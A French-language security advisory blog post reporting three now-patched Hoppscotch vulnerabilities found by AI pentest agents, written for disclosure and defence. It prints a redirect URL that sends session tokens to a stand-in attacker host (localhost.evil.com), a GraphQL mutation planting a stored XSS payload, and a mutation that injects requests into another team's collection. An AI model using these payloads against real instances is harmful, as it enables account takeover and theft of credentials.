Introduction
Hoppscotch est un écosystème de développement d'API open source, similaire à Postman, avec plus de 100 000 utilisateurs mensuels. Il y a deux semaines, nous avons mis en place une instance auto-hébergée et y avons exécuté nos agents de pentest IA. Ils ont découvert deux vulnérabilités de gravité élevée et une vulnérabilité de gravité moyenne, toutes présentes dans les versions jusqu'à la 2026.2.1 incluse, et toutes corrigées dans la version 2026.3.0 :
- Prise de contrôle de compte via redirection ouverte qui permet l'exfiltration de jetons d'authentification vers un domaine malveillant, permettant à un attaquant de s'authentifier en tant que victime.
- XSS stockée via le serveur Mock, où du JavaScript injecté via un en-tête de réponse s'exécute dans le contexte de l'application Hoppscotch, donnant à un attaquant un accès en lecture et en écriture à tout ce que la victime peut voir.
- Un contrôle d’accès défaillant lors du déplacement de requêtes, où un utilisateur d'une équipe peut injecter une requête dans la collection d'une autre équipe. Si un membre de l'équipe cible l'exécute, les identifiants et les clés API peuvent être exfiltrés.
Les trois ont été divulguées de manière responsable et ont été résolues.
Correction
Mettez à jour les instances auto-hébergées de Hoppscotch vers la version 2026.3.0 ou supérieure.
Les vulnérabilités découvertes ont été ajoutées à la base de données Aikido Intel :
- https://intel.aikido.dev/cve/AIKIDO-2026-10462
- https://intel.aikido.dev/cve/AIKIDO-2026-10463
- https://intel.aikido.dev/cve/AIKIDO-2026-10461
Redirection ouverte entraînant une prise de contrôle de compte
Avis : GHSA-7fg7-wx5q-6m3v
CVSS : 8.5 (Élevée)
Affected versions: Hoppscotch <= 2026.2.1
Versions corrigées : 2026.3.0
Hoppscotch dispose à la fois d'une interface web et d'une application de bureau. Pour authentifier l'application de bureau, une URL telle que celle-ci est ouverte dans le navigateur :
http://<hoppscotch-instance>/device-login/?redirect_uri=http%3A%2F%2Flocalhost%2Fdevice-token
L'instance Hoppscotch utilise le paramètre de requête redirect_uri pour envoyer les jetons de session. C'est là que réside la vulnérabilité. Le back-end présentait la validation défaillante suivante sur l'URI :
if (!redirectUri || !redirectUri.startsWith('http://localhost')) {
throwHTTPErr({
…
})
}
Le code vérifie si l'URI commence par http://localhost, mais il ne prend pas en compte que des domaines malveillants comme http://localhost.evil.com passent également cette vérification. Par conséquent, si une victime navigue vers :http://<hoppscotch-instance>/device-login/?redirect_uri=http%3A%2F%2Flocalhost.evil.com%2Fdevice-token
Hoppscotch enverrait ses jetons de session à http://localhost.evil.com. Étant donné que localhost est un sous-domaine du domaine de l'attaquant evil.com , au lieu d'aller à localhost, la requête est envoyée au serveur de l'attaquant. Celui-ci pourrait alors utiliser ces jetons pour s'authentifier en tant que victime.
Nos agents ont identifié la vulnérabilité dans le code et l'ont vérifiée en configurant un écouteur sur une IP publique et en élaborant une charge utile à l'aide de sslip.io. En utilisant l'URI http://localhost.<attacker-ip>.sslip.io/, la charge utile a réussi à contourner la vérification `startsWith` tout en forçant le navigateur à résoudre l'adresse vers le serveur de l'attaquant. Une fois la victime authentifiée, les jetons de session sensibles ont été divulgués directement à notre écouteur, confirmant qu'une prise de contrôle complète du compte était possible.
La pull request suivante a résolu la vulnérabilité en utilisant un parseur d'URL approprié : https://github.com/hoppscotch/hoppscotch/pull/6012
XSS stocké via le Mock Server
Advisory: GHSA-wj4r-hr4h-g98v
CVSS: 8.5 (High)
Affected versions: Hoppscotch <= 2026.2.1
Patched versions: 2026.3.0
Hoppscotch intègre une fonctionnalité de Mock Server qui sert des réponses définies par l'utilisateur à partir d'URL sous /mock/<subdomain>/. Le backend sert ces réponses depuis la même origine que l'application Hoppscotch, ce qui signifie qu'une attaque de cross-site scripting (XSS) dans le MockServer peut être utilisée pour exfiltrer et modifier les données utilisateur.
Pour injecter une charge utile XSS, les agents de pentest Aikido ont contourné les restrictions de l'interface utilisateur en envoyant une requête API GraphQL qui définit l'en-tête de réponse Content-Type à text/html. Cela n'était pas possible via le front-end.
Exemple de corps de requête:
{
"query": "mutation($id:ID!,$title:String,$request:String){ updateRESTUserRequest(id:$id,title:$title,request:$request){ id title } }",
"variables": {
"id": "<REQUEST_ID>",
"title": "addPet",
"request": "{\"v\":\"16\",... , \"responses\":{\"XSS\":{\"name\":\"XSS\",\"status\":\"OK\",\"code\":200,\"headers\":[{\"key\":\"content-type\",\"value\":\"text/html\",\"active\":true,\"description\":\"\"}],\"body\":\"<img src=x onerror=\\\"console.log(424212069)\\\">\",\"originalRequest\":{\"v\":\"6\",\"name\":\"xss\",\"method\":\"GET\",\"endpoint\":\"<<mockUrl>>/xss\",\"params\":[],\"headers\":[],\"requestVariables\":[]}}}}"
}
}Le XSS se déclenche dès que l'utilisateur visite le point d'accès de l'API mock. Par exemple :
http://<hoppscotch-instance>/mock/-v9juLVaiMnJa/v2/pet/findByStatus

Pour tester cela, les agents IA ont injecté une charge utile `console.log` dans le corps de la réponse via l'API GraphQL, contournant ainsi les restrictions de type de contenu de l'interface utilisateur. Lors de la navigation vers le point d'accès mock spécifique, le navigateur a exécuté le script, et les agents ont réussi à capturer la sortie enregistrée dans la console.
Le PR suivant a résolu la vulnérabilité en ajoutant une désinfection et un sandboxing avec une Content Security Policy :
https://github.com/hoppscotch/hoppscotch/pull/6006
Contrôle d'accès : Déplacer des requêtes vers une autre équipe
Avis de sécurité : GHSA-wj4r-hr4h-g98v
CVSS : 6.0 (Moyenne)
Affected versions: Hoppscotch <= 2026.2.1
Versions corrigées : 2026.3.0
Hoppscotch permet aux utilisateurs de déplacer ou de réorganiser des requêtes entre des collections en utilisant la moveRequest mutation GraphQL. Les agents ont découvert que le backend n'a pas correctement validé les permissions pour la collection de destination, permettant à un attaquant d'« injecter » ses propres requêtes dans une collection appartenant à une équipe différente.
La vulnérabilité réside dans la logique de validation du backend : bien qu'il vérifie la requête source, il ignore la vérification de l'équipe de destination si le nextRequestID est défini sur null. En fournissant le destCollID d'une équipe victime et en laissant le nextRequestID vide, un attaquant peut réussir à déplacer une requête entre les tenants :
{
"operationName": "MoveTeamRequest",
"query": "mutation MoveTeamRequest($req: ID!, $dest: ID!, $next: ID) { moveRequest(requestID: $req, destCollID: $dest, nextRequestID: $next) { id collectionID teamID } }",
"variables": {
"req": "<ATTACKER_REQUEST_ID>",
"dest": "<VICTIM_COLLECTION_ID>",
"next": null
}
}
Cela peut avoir un impact sur la confidentialité si un membre de l'équipe victime exécute involontairement la requête injectée ou la collection parente. Si tel est le cas, les requêtes qui héritent des en-têtes d'autorisation, ou contiennent des espaces réservés pour des variables – par exemple – des clés API, les données sensibles pourraient être exfiltrées vers le serveur de l'attaquant.
Ci-dessous se trouvent les traces des agents identifiant la vulnérabilité :
Examen des relations teamID - Je me demande si les requêtes peuvent appartenir à des collections de différentes équipes sans modifier le teamID. Cela pourrait violer la contrainte de clé étrangère si la collection est liée à une autre équipe. Le modèle TeamRequest connecte probablement les collections par ID sans strictement s'assurer que le teamID correspond à collection.teamID. Dans createTeamRequest, ils vérifient que l'ID de l'équipe correspond. Cependant, si le déplacement d'une requête ne met à jour que le collectionID sans modifier le teamID, je dois vérifier le schéma Prisma pour clarifier la structure de ces relations. Recherchons le schéma dans le répertoire approprié.
Identification des problèmes de contrôle d'accès - Je réalise que le garde vérifie uniquement si un utilisateur est membre de l'équipe associée au requestID et ignore les permissions pour l'équipe de la collection de destination. La fonction moveRequest est protégée par GqlRequestTeamMemberGuard pour des rôles comme Éditeur ou Propriétaire, mais elle n'inclut pas de vérifications pour GqlCollectionTeamMemberGuard sur destCollID. Cela signifie qu'un éditeur de l'équipe A pourrait déplacer une requête dans la collection de l'équipe B sans en être membre, créant ainsi une grave vulnérabilité de contrôle d'accès.
Examen de la gestion des requêtes - Je dois confirmer ma compréhension de findRequestAndNextRequest et reorderRequests. Dans findRequestAndNextRequest, il vérifie que la requête existe dans srcCollID. Si nextRequestID est fourni, il s'assure que nextRequest appartient à la même collection et à la même équipe. Cependant, si nextRequestID est nul, il ignore la vérification de la propriété de l'équipe de destCollID.
Dans reorderRequests, il verrouille par request.teamID pour les collections source et destination. Mais si destCollID provient d'une autre équipe, il procède tout de même aux mises à jour sans s'assurer des vérifications d'équipe appropriées, ce qui pourrait entraîner des problèmes.
La PR suivante a résolu la vulnérabilité en ajoutant une vérification d'autorisation :
https://github.com/hoppscotch/hoppscotch/pull/6006
Crédit à TristanInSec, qui avait également identifié indépendamment la vulnérabilité XSS.
En savoir plus sur notre recherche en pentest par IA :
- SvelteSpill : Une faille de déception de cache dans SvelteKit + Vercel
- PromptPwnd : Vulnérabilités d'injection de prompt dans les actions GitHub utilisant des agents IA
Découvrez comment fonctionnent nos agents de pentest par IA:
- Comment nous concevons nos agents IA pour qu'ils soient sûrs dès la conception
- Comment le pentest autonome se compare au pentest manuel

